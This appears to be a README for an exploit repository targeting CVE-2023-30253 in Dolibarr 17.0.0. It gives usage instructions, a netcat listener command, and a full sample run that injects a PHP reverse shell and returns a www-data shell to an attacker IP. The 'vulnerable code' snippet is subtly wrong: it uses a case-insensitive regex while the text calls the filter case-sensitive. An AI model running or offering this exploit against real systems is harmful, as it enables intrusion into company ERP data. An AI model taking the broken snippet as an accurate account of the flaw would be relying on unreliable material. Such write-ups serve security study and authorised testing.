
CVE-2023-30253 — ثغرة RCE في Dolibarr ERP/CRM 17.0.0 عبر حقن كود PHP (استغلال تعليمي)
استغلال حقن كود PHP لـ Dolibarr ERP/CRM v17.0.0، يتيح الحصول على shell عكسية بصلاحيات المستخدم www-data عبر وحدة Website/CMS.
⚠️ مخصص للاستخدام التعليمي والتدقيقات الأمنية المصرّح بها فقط.
CVE-2023-30253 هي ثغرة حقن كود PHP (CWE-94: Improper Control of Generation of Code) في Dolibarr ERP/CRM في الإصدارات الأقدم من 17.0.1.
تم اكتشافها والإبلاغ عنها من قبل فريق Swascan (الآن Hacktivesecurity) في مايو 2023. تكمن الثغرة في وحدة Website/CMS، التي تتيح للمستخدمين المُصادَق عليهم إنشاء وإدارة مواقع الويب داخل Dolibarr.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (HIGH) |
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| النوع | CWE-94 — Code Injection |
| البرنامج المتأثر | Dolibarr ERP/CRM < 17.0.1 |
| الصلاحيات | مستخدم مُصادَق عليه (أي دور) |
| التصحيح | Dolibarr 17.0.1 — commit 4f6055c |
يطبّق Dolibarr عامل تصفية لمنع المستخدمين من حقن كود PHP في محتوى صفحات وحدة Website. غير أن هذا الفلتر يعاني من خلل خطير: فهو حساس لحالة الأحرف (case-sensitive).
// Código vulnerable (simplificado) en Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Bloquea solo "<?php" en minúsculas exactas... ¿o no?
die("PHP code detected!");
}
يبحث الفلتر حرفيًا عن النص <?php بالأحرف الصغيرة. لكن PHP تسمح بـأي مجموعة من الأحرف الكبيرة والصغيرة لوسم الفتح، وهذا يعني أن:
| الوسم | هل تمت تصفيته؟ | هل ينفذه PHP؟ |
|---|---|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
يستخدم هذا الاستغلال <?PHP (بالأحرف الكبيرة) لتجاوز الفلتر، لكن أي صيغة أخرى تعمل أيضًا.
علاوة على ذلك، يُطبَّق الفلتر فقط عند حفظ المحتوى. وعند تقديم الصفحة، يمرر Dolibarr المحتوى دون تعقيم إضافي إلى مفسّر PHP، الذي ينفذ أي كود يحمل وسم الفتح <?.
يمكن لمهاجم مُصادَق عليه أن:
/etc/passwd, الإعدادات)لماذا تُعد حرجة؟ يُستخدم Dolibarr كـ ERP/CRM للشركات. أي اختراق قد يكشف بيانات العملاء والمالية والعقود وبيانات الاعتماد الداخلية.
يعمل هذا الاستغلال على أتمتة عملية الاستغلال الكاملة في 5 خطوات:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Login → Autenticarse en Dolibarr │
│ 2. Create Website → Crear un sitio web vacío │
│ 3. Create Page → Crear una página en el sitio │
│ 4. Inject Shell → Inyectar PHP reverse shell │
│ 5. Trigger → Ejecutar el payload │
│ │
│ Resultado: 🎯 Shell reversa como www-data │
└─────────────────────────────────────────────────────────┘
الميزات:
pageidfsockopen + proc_openrequestsbeautifulsoup4أو ببساطة:
pip install -r requirements.txt
# Clonar el repositorio
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Instalar dependencias
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [opciones]
الوسائط الموضعية:
| الوسيط | الوصف | مثال |
|---|---|---|
target | رابط Dolibarr الأساسي (URL) | http://crm.board.htb |
username | اسم مستخدم Dolibarr | admin |
password | كلمة مرور Dolibarr | admin |
lhost | عنوان IP الخاص بك (حيث ستستقبل الـ shell) | 10.10.14.5 |
lport | المنفذ الخاص بك (حيث ستستقبل الـ shell) | 4444 |
الخيارات:
| الخيار | الوصف |
|---|---|
-v, --verbose | يعرض معلومات تصحيح مفصّلة |
--no-color | يعطّل الألوان في المخرجات |
-h, --help | يعرض المساعدة والأمثلة |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12] ✓ Sesión iniciada correctamente
[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13] ✓ Sitio web 's3a1f2bc' creado
[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13] ✓ Página creada dentro del sitio
[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ Código PHP inyectado exitosamente
[10:45:14] Paso 5/5: Ejecutando payload (trigger)...
════════════════════════════════════════════════════════
EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Instrucciones:
1. En otra terminal, inicia tu listener:
nc -lvnp 4444
2. Accede a la Trigger URL (el exploit ya lo hizo)
3. Recibirás una shell reversa como www-data
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
إذا كنت تفضّل فهم العملية يدويًا (بدون السكربت)، فإليك التدفق الكامل:
# Obtener cookies y token CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null